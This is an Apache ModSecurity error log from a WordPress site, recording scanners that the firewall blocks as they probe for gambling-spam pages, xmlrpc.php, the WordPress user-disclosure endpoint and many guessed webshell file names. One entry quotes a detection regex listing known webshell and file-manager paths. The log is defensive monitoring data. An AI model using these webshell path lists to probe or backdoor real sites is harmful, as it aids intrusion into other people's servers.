[Mon Mar 02 01:04:00.504346 2026] [:error] [pid 26940:tid 26944] [client 79.137.65.139:60408] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaRxgBrUg-j5GLDtRFl8LQAAAEA"]
[Mon Mar 02 01:04:02.969692 2026] [:error] [pid 26940:tid 26951] [client 79.137.65.139:60420] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaRxghrUg-j5GLDtRFl8OgAAAEc"]
[Mon Mar 02 01:04:05.456533 2026] [:error] [pid 53181:tid 53532] [client 79.137.65.139:60426] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaRxhYr_0T1SazTrJOAodgAAARE"]
[Mon Mar 02 01:04:07.908197 2026] [:error] [pid 53182:tid 53545] [client 79.137.65.139:60428] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaRxh_v073cA6eM1YCS3EwAAAMI"]
[Mon Mar 02 01:04:10.396792 2026] [:error] [pid 26940:tid 26960] [client 79.137.65.139:39188] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaRxihrUg-j5GLDtRFl8agAAAFA"]
[Mon Mar 02 01:04:12.789091 2026] [:error] [pid 53181:tid 53528] [client 79.137.65.139:39198] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaRxjIr_0T1SazTrJOAohgAAAQ0"]
[Mon Mar 02 01:04:15.095574 2026] [:error] [pid 53585:tid 53607] [client 79.137.65.139:39204] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaRxj3bCvYsvu6kKhM19qAAAABM"]
[Mon Mar 02 01:04:17.561296 2026] [:error] [pid 26940:tid 26964] [client 79.137.65.139:39220] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaRxkRrUg-j5GLDtRFl8lwAAAFQ"]
[Mon Mar 02 01:04:19.996213 2026] [:error] [pid 53585:tid 53612] [client 79.137.65.139:40280] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaRxk3bCvYsvu6kKhM19ywAAABg"]
[Mon Mar 02 01:04:22.373631 2026] [:error] [pid 26940:tid 26965] [client 79.137.65.139:40284] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaRxlhrUg-j5GLDtRFl8twAAAFU"]
[Mon Mar 02 01:09:55.850580 2026] [:error] [pid 26940:tid 26951] [client 185.193.157.163:41558] [client 185.193.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.163, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRy4xrUg-j5GLDtRFmEEgAAAEc"]
[Mon Mar 02 01:09:59.226021 2026] [:error] [pid 26940:tid 26965] [client 185.193.157.163:41558] [client 185.193.157.163] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaRy5xrUg-j5GLDtRFmELQAAAFU"]
[Mon Mar 02 01:10:02.209347 2026] [:error] [pid 26940:tid 26967] [client 185.193.157.163:41558] [client 185.193.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.193.157.163, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRy6hrUg-j5GLDtRFmEPgAAAFc"]
[Mon Mar 02 01:14:04.904057 2026] [:error] [pid 26940:tid 26947] [client 20.104.19.195:50860] [client 20.104.19.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaRz3BrUg-j5GLDtRFmITgAAAEM"]
[Mon Mar 02 01:14:38.534027 2026] [:error] [pid 26940:tid 26965] [client 20.104.19.195:50933] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fosil.php"] [unique_id "aaRz_hrUg-j5GLDtRFmJCQAAAFU"]
[Mon Mar 02 01:14:38.945558 2026] [:error] [pid 26940:tid 26949] [client 20.104.19.195:1844] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fosil.php"] [unique_id "aaRz_hrUg-j5GLDtRFmJCwAAAEU"]
[Mon Mar 02 01:14:39.365782 2026] [:error] [pid 26940:tid 26963] [client 20.104.19.195:16424] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fosil.php"] [unique_id "aaRz_xrUg-j5GLDtRFmJDgAAAFM"]
[Mon Mar 02 01:14:39.785562 2026] [:error] [pid 26940:tid 26945] [client 20.104.19.195:20670] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fosil.php"] [unique_id "aaRz_xrUg-j5GLDtRFmJFAAAAEE"]
[Mon Mar 02 01:14:40.232985 2026] [:error] [pid 53182:tid 53564] [client 20.104.19.195:13394] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/issue.php"] [unique_id "aaR0APv073cA6eM1YCS9PAAAANQ"]
[Mon Mar 02 01:14:40.694433 2026] [:error] [pid 53585:tid 53598] [client 20.104.19.195:2933] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/issue.php"] [unique_id "aaR0AHbCvYsvu6kKhM2G5AAAAAo"]
[Mon Mar 02 01:14:41.225594 2026] [:error] [pid 26940:tid 26949] [client 20.104.19.195:13394] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/issue.php"] [unique_id "aaR0ARrUg-j5GLDtRFmJHQAAAEU"]
[Mon Mar 02 01:14:41.701618 2026] [:error] [pid 53585:tid 53595] [client 20.104.19.195:5985] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/issue.php"] [unique_id "aaR0AXbCvYsvu6kKhM2G6QAAAAc"]
[Mon Mar 02 01:14:42.185644 2026] [:error] [pid 26940:tid 26961] [client 20.104.19.195:1812] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/verify.php"] [unique_id "aaR0AhrUg-j5GLDtRFmJIQAAAFE"]
[Mon Mar 02 01:14:42.648675 2026] [:error] [pid 53182:tid 53567] [client 20.104.19.195:5971] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/verify.php"] [unique_id "aaR0Avv073cA6eM1YCS9QQAAANc"]
[Mon Mar 02 01:14:43.157001 2026] [:error] [pid 53182:tid 53552] [client 20.104.19.195:5386] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/verify.php"] [unique_id "aaR0A_v073cA6eM1YCS9QwAAAMk"]
[Mon Mar 02 01:14:43.664902 2026] [:error] [pid 26940:tid 26964] [client 20.104.19.195:4590] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/verify.php"] [unique_id "aaR0AxrUg-j5GLDtRFmJKQAAAFQ"]
[Mon Mar 02 01:14:44.128561 2026] [:error] [pid 26940:tid 26961] [client 20.104.19.195:4572] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaR0BBrUg-j5GLDtRFmJLwAAAFE"]
[Mon Mar 02 01:14:44.611689 2026] [:error] [pid 26940:tid 26960] [client 20.104.19.195:8757] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaR0BBrUg-j5GLDtRFmJNgAAAFA"]
[Mon Mar 02 01:14:45.066160 2026] [:error] [pid 53182:tid 53550] [client 20.104.19.195:5410] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaR0Bfv073cA6eM1YCS9RwAAAMc"]
[Mon Mar 02 01:14:45.493056 2026] [:error] [pid 53585:tid 53612] [client 20.104.19.195:8730] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaR0BXbCvYsvu6kKhM2G7AAAABg"]
[Mon Mar 02 01:14:45.959955 2026] [:error] [pid 53182:tid 53563] [client 20.104.19.195:19302] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indeex.php"] [unique_id "aaR0Bfv073cA6eM1YCS9TQAAANM"]
[Mon Mar 02 01:14:46.425220 2026] [:error] [pid 26940:tid 26949] [client 20.104.19.195:13005] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indeex.php"] [unique_id "aaR0BhrUg-j5GLDtRFmJOwAAAEU"]
[Mon Mar 02 01:14:46.843968 2026] [:error] [pid 26940:tid 26951] [client 20.104.19.195:13681] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indeex.php"] [unique_id "aaR0BhrUg-j5GLDtRFmJQAAAAEc"]
[Mon Mar 02 01:14:47.287279 2026] [:error] [pid 26940:tid 26945] [client 20.104.19.195:13035] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indeex.php"] [unique_id "aaR0BxrUg-j5GLDtRFmJRgAAAEE"]
[Mon Mar 02 01:14:47.735893 2026] [:error] [pid 26940:tid 26964] [client 20.104.19.195:5351] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaR0BxrUg-j5GLDtRFmJSgAAAFQ"]
[Mon Mar 02 01:14:48.214720 2026] [:error] [pid 26940:tid 26955] [client 20.104.19.195:19284] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaR0CBrUg-j5GLDtRFmJUAAAAEs"]
[Mon Mar 02 01:14:48.632917 2026] [:error] [pid 26940:tid 26967] [client 20.104.19.195:2980] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaR0CBrUg-j5GLDtRFmJUgAAAFc"]
[Mon Mar 02 01:14:49.071732 2026] [:error] [pid 26940:tid 26960] [client 20.104.19.195:14714] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaR0CRrUg-j5GLDtRFmJVQAAAFA"]
[Mon Mar 02 01:14:49.484687 2026] [:error] [pid 26940:tid 26953] [client 20.104.19.195:4577] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaR0CRrUg-j5GLDtRFmJWAAAAEk"]
[Mon Mar 02 01:14:49.920028 2026] [:error] [pid 26940:tid 26958] [client 20.104.19.195:5322] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaR0CRrUg-j5GLDtRFmJXAAAAE4"]
[Mon Mar 02 01:14:50.352832 2026] [:error] [pid 53585:tid 53599] [client 20.104.19.195:19437] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaR0CnbCvYsvu6kKhM2G-AAAAAs"]
[Mon Mar 02 01:14:50.765443 2026] [:error] [pid 53182:tid 53557] [client 20.104.19.195:5373] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaR0Cvv073cA6eM1YCS9WAAAAM0"]
[Mon Mar 02 01:14:51.175200 2026] [:error] [pid 53585:tid 53604] [client 20.104.19.195:8404] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php.php"] [unique_id "aaR0C3bCvYsvu6kKhM2G_AAAABA"]
[Mon Mar 02 01:14:51.587856 2026] [:error] [pid 53180:tid 53457] [client 20.104.19.195:8423] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php.php"] [unique_id "aaR0CzPPJpDOBvYnaa1MuAAAAY0"]
[Mon Mar 02 01:14:52.000257 2026] [:error] [pid 53180:tid 53454] [client 20.104.19.195:5316] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php.php"] [unique_id "aaR0CzPPJpDOBvYnaa1MugAAAYo"]
[Mon Mar 02 01:14:52.408686 2026] [:error] [pid 53182:tid 53564] [client 20.104.19.195:5364] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php.php"] [unique_id "aaR0DPv073cA6eM1YCS9XQAAANQ"]
[Mon Mar 02 01:14:52.817805 2026] [:error] [pid 53182:tid 53558] [client 20.104.19.195:14327] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aks.php"] [unique_id "aaR0DPv073cA6eM1YCS9XwAAAM4"]
[Mon Mar 02 01:14:53.226871 2026] [:error] [pid 53182:tid 53548] [client 20.104.19.195:8418] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aks.php"] [unique_id "aaR0Dfv073cA6eM1YCS9YAAAAMU"]
[Mon Mar 02 01:14:53.639196 2026] [:error] [pid 53585:tid 53601] [client 20.104.19.195:5960] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aks.php"] [unique_id "aaR0DXbCvYsvu6kKhM2HBwAAAA0"]
[Mon Mar 02 01:14:54.048936 2026] [:error] [pid 53180:tid 53451] [client 20.104.19.195:8420] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aks.php"] [unique_id "aaR0DjPPJpDOBvYnaa1MvQAAAYc"]
[Mon Mar 02 01:14:54.466250 2026] [:error] [pid 53182:tid 53551] [client 20.104.19.195:8433] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "aaR0Dvv073cA6eM1YCS9YwAAAMg"]
[Mon Mar 02 01:14:54.881158 2026] [:error] [pid 53180:tid 53460] [client 20.104.19.195:13045] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "aaR0DjPPJpDOBvYnaa1MvgAAAZA"]
[Mon Mar 02 01:14:55.303571 2026] [:error] [pid 53181:tid 53532] [client 20.104.19.195:19311] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "aaR0D4r_0T1SazTrJOAtHAAAARE"]
[Mon Mar 02 01:14:55.716805 2026] [:error] [pid 53182:tid 53557] [client 20.104.19.195:14296] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex1.php"] [unique_id "aaR0D_v073cA6eM1YCS9aAAAAM0"]
[Mon Mar 02 01:14:56.134289 2026] [:error] [pid 53182:tid 53562] [client 20.104.19.195:9317] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/worksec.php"] [unique_id "aaR0EPv073cA6eM1YCS9agAAANI"]
